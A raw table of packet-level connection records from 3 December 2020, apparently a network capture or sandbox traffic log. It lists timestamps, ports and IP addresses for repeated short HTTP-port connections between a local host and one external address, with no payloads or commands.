Dec 3, 2020 10:04:00.784431934 CET	80	49967	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.784554005 CET	49967	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.791546106 CET	49967	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.808123112 CET	80	49967	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.808204889 CET	49967	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.824769020 CET	80	49967	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.944044113 CET	80	49967	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:00.944178104 CET	49967	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.944247007 CET	49967	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:00.960671902 CET	80	49967	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.145394087 CET	49968	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.161969900 CET	80	49968	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.162070036 CET	49968	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.165537119 CET	49968	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.182163954 CET	80	49968	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.182256937 CET	49968	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.198846102 CET	80	49968	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.224257946 CET	80	49968	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.224359035 CET	49968	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.224402905 CET	49968	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.241770029 CET	80	49968	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.451548100 CET	49969	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.468203068 CET	80	49969	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.468631029 CET	49969	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.475567102 CET	49969	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.492388964 CET	80	49969	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.492468119 CET	49969	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.509152889 CET	80	49969	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.535551071 CET	80	49969	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.535676956 CET	49969	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.535753012 CET	49969	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.552196026 CET	80	49969	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.739417076 CET	49970	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.755987883 CET	80	49970	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.756243944 CET	49970	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.768613100 CET	49970	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.785238981 CET	80	49970	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.786411047 CET	49970	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.802934885 CET	80	49970	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.828970909 CET	80	49970	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:01.829166889 CET	49970	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.829379082 CET	49970	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:01.845843077 CET	80	49970	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.043610096 CET	49971	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.060209036 CET	80	49971	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.060348988 CET	49971	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.064174891 CET	49971	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.080714941 CET	80	49971	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.080821037 CET	49971	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.097292900 CET	80	49971	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.206245899 CET	80	49971	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.206362009 CET	49971	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.206393957 CET	49971	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.225152969 CET	80	49971	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.410444975 CET	49972	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.427122116 CET	80	49972	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.427258015 CET	49972	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.431474924 CET	49972	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.448241949 CET	80	49972	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.448327065 CET	49972	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.464998960 CET	80	49972	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.490118980 CET	80	49972	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.490256071 CET	49972	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.490324020 CET	49972	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.507033110 CET	80	49972	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.690256119 CET	49973	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.706973076 CET	80	49973	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.707071066 CET	49973	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.710186958 CET	49973	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.726882935 CET	80	49973	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.726979971 CET	49973	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.743573904 CET	80	49973	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.770838022 CET	80	49973	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.770919085 CET	49973	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.770958900 CET	49973	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.787535906 CET	80	49973	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.970887899 CET	49974	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.987487078 CET	80	49974	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:02.987596035 CET	49974	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:02.991389036 CET	49974	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.007885933 CET	80	49974	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.008039951 CET	49974	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.024519920 CET	80	49974	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.052233934 CET	80	49974	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.052450895 CET	49974	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.052524090 CET	49974	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.068949938 CET	80	49974	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.261353970 CET	49975	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.278043032 CET	80	49975	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.278331995 CET	49975	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.285552025 CET	49975	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.302256107 CET	80	49975	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.302356005 CET	49975	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.318882942 CET	80	49975	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.344530106 CET	80	49975	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.344748974 CET	49975	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.344799042 CET	49975	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.361337900 CET	80	49975	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.534343958 CET	49976	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.551004887 CET	80	49976	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.551096916 CET	49976	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.554472923 CET	49976	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.571007013 CET	80	49976	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.571105003 CET	49976	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.587706089 CET	80	49976	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.614420891 CET	80	49976	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.614527941 CET	49976	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.614607096 CET	49976	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.631061077 CET	80	49976	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.824314117 CET	49977	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.840958118 CET	80	49977	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.841213942 CET	49977	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.844235897 CET	49977	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.860704899 CET	80	49977	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.860785007 CET	49977	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.877314091 CET	80	49977	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.907417059 CET	80	49977	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:03.907510042 CET	49977	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.907536030 CET	49977	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:03.925148964 CET	80	49977	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.103085041 CET	49978	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.119680882 CET	80	49978	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.120290995 CET	49978	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.123665094 CET	49978	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.140243053 CET	80	49978	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.140394926 CET	49978	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.156929016 CET	80	49978	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.184755087 CET	80	49978	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.184968948 CET	49978	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.185050964 CET	49978	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.201561928 CET	80	49978	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.393533945 CET	49979	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.410172939 CET	80	49979	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.410305977 CET	49979	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.413716078 CET	49979	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.430258036 CET	80	49979	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.430408955 CET	49979	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.446912050 CET	80	49979	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.476197004 CET	80	49979	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.476521969 CET	49979	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.476602077 CET	49979	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.493794918 CET	80	49979	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.677247047 CET	49980	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.693934917 CET	80	49980	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.694087982 CET	49980	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.697741985 CET	49980	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.714294910 CET	80	49980	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.714380026 CET	49980	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.730873108 CET	80	49980	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.758395910 CET	80	49980	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.758589029 CET	49980	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.758657932 CET	49980	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.776654959 CET	80	49980	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.944040060 CET	49981	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.960622072 CET	80	49981	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.960724115 CET	49981	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.963596106 CET	49981	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.980176926 CET	80	49981	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:04.980304956 CET	49981	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:04.996834040 CET	80	49981	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.025183916 CET	80	49981	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.025409937 CET	49981	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.025464058 CET	49981	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.041949987 CET	80	49981	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.227576971 CET	49982	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.244199038 CET	80	49982	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.244282007 CET	49982	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.247695923 CET	49982	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.264259100 CET	80	49982	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.264355898 CET	49982	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.280848980 CET	80	49982	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.306277037 CET	80	49982	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.306385994 CET	49982	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.306471109 CET	49982	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.322953939 CET	80	49982	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.512713909 CET	49983	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.529300928 CET	80	49983	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.529411077 CET	49983	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.532497883 CET	49983	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.549093962 CET	80	49983	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.549261093 CET	49983	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.565799952 CET	80	49983	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.593427896 CET	80	49983	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.593700886 CET	49983	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.593728065 CET	49983	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.611013889 CET	80	49983	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.797991037 CET	49984	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.814739943 CET	80	49984	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.814891100 CET	49984	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.820292950 CET	49984	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.837083101 CET	80	49984	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.837169886 CET	49984	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.853728056 CET	80	49984	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.895039082 CET	80	49984	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:05.895215988 CET	49984	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.895266056 CET	49984	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:05.912645102 CET	80	49984	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.103085995 CET	49985	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.119641066 CET	80	49985	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.119771957 CET	49985	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.123172998 CET	49985	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.139707088 CET	80	49985	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.139894962 CET	49985	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.156373978 CET	80	49985	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.183387995 CET	80	49985	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.183626890 CET	49985	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.183784008 CET	49985	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.200249910 CET	80	49985	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.381630898 CET	49986	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.398253918 CET	80	49986	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.398375034 CET	49986	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.401191950 CET	49986	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.417830944 CET	80	49986	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.417982101 CET	49986	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.434659004 CET	80	49986	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.462903023 CET	80	49986	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.463141918 CET	49986	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.463248014 CET	49986	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.479794025 CET	80	49986	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.664258003 CET	49987	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.680913925 CET	80	49987	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.681135893 CET	49987	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.688484907 CET	49987	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.705122948 CET	80	49987	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.705252886 CET	49987	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.721760988 CET	80	49987	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.751386881 CET	80	49987	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.751527071 CET	49987	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.751696110 CET	49987	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.768178940 CET	80	49987	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.978857040 CET	49988	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:06.995594978 CET	80	49988	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:06.995764971 CET	49988	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.003231049 CET	49988	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.019879103 CET	80	49988	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.020004034 CET	49988	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.036577940 CET	80	49988	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.064445972 CET	80	49988	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.064621925 CET	49988	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.064733028 CET	49988	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.081340075 CET	80	49988	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.253437996 CET	49989	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.270159006 CET	80	49989	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.270399094 CET	49989	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.279062033 CET	49989	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.295727015 CET	80	49989	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.295811892 CET	49989	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.312355042 CET	80	49989	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.338927031 CET	80	49989	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.339047909 CET	49989	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.339080095 CET	49989	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.355899096 CET	80	49989	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.553993940 CET	49990	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.570461988 CET	80	49990	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.570564032 CET	49990	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.573982000 CET	49990	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.590435028 CET	80	49990	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.590528011 CET	49990	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.606997013 CET	80	49990	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.634059906 CET	80	49990	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.634169102 CET	49990	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.634243011 CET	49990	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.650609016 CET	80	49990	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.837435007 CET	49991	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.853972912 CET	80	49991	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.854091883 CET	49991	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.858334064 CET	49991	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.874809980 CET	80	49991	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:07.874901056 CET	49991	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:07.891314983 CET	80	49991	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.050302982 CET	80	49991	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.050420046 CET	49991	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.050496101 CET	49991	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.066793919 CET	80	49991	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.246006966 CET	49992	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.262439966 CET	80	49992	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.263575077 CET	49992	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.266673088 CET	49992	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.283118963 CET	80	49992	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.283179045 CET	49992	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.299559116 CET	80	49992	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.326611996 CET	80	49992	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.326699972 CET	49992	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.326730967 CET	49992	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.345014095 CET	80	49992	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.527400017 CET	49993	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.543992996 CET	80	49993	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.544100046 CET	49993	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.547826052 CET	49993	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.564330101 CET	80	49993	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.564414978 CET	49993	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.580945015 CET	80	49993	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.606347084 CET	80	49993	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.606612921 CET	49993	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.623126030 CET	80	49993	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.807579994 CET	49995	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.824172020 CET	80	49995	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.824719906 CET	49995	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.827517986 CET	49995	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.844233990 CET	80	49995	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.844466925 CET	49995	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.861007929 CET	80	49995	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.888386965 CET	80	49995	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:08.888613939 CET	49995	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.890971899 CET	49995	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:08.907455921 CET	80	49995	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.086170912 CET	49996	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.102756977 CET	80	49996	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.103197098 CET	49996	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.106498003 CET	49996	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.123007059 CET	80	49996	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.123363018 CET	49996	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.139866114 CET	80	49996	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.171283960 CET	80	49996	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.171499014 CET	49996	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.171540976 CET	49996	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.189687014 CET	80	49996	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.354163885 CET	49997	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.370827913 CET	80	49997	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.371098042 CET	49997	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.374098063 CET	49997	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.390743971 CET	80	49997	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.390839100 CET	49997	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.407324076 CET	80	49997	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.432904005 CET	80	49997	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.433027029 CET	49997	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.433059931 CET	49997	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.449729919 CET	80	49997	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.643055916 CET	49999	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.659673929 CET	80	49999	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.659776926 CET	49999	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.662563086 CET	49999	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.679109097 CET	80	49999	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.679286003 CET	49999	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.695836067 CET	80	49999	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.725847006 CET	80	49999	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.726095915 CET	49999	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.726314068 CET	49999	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:09.742851973 CET	80	49999	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:09.932013035 CET	50000	80	192.168.2.3	47.91.79.163
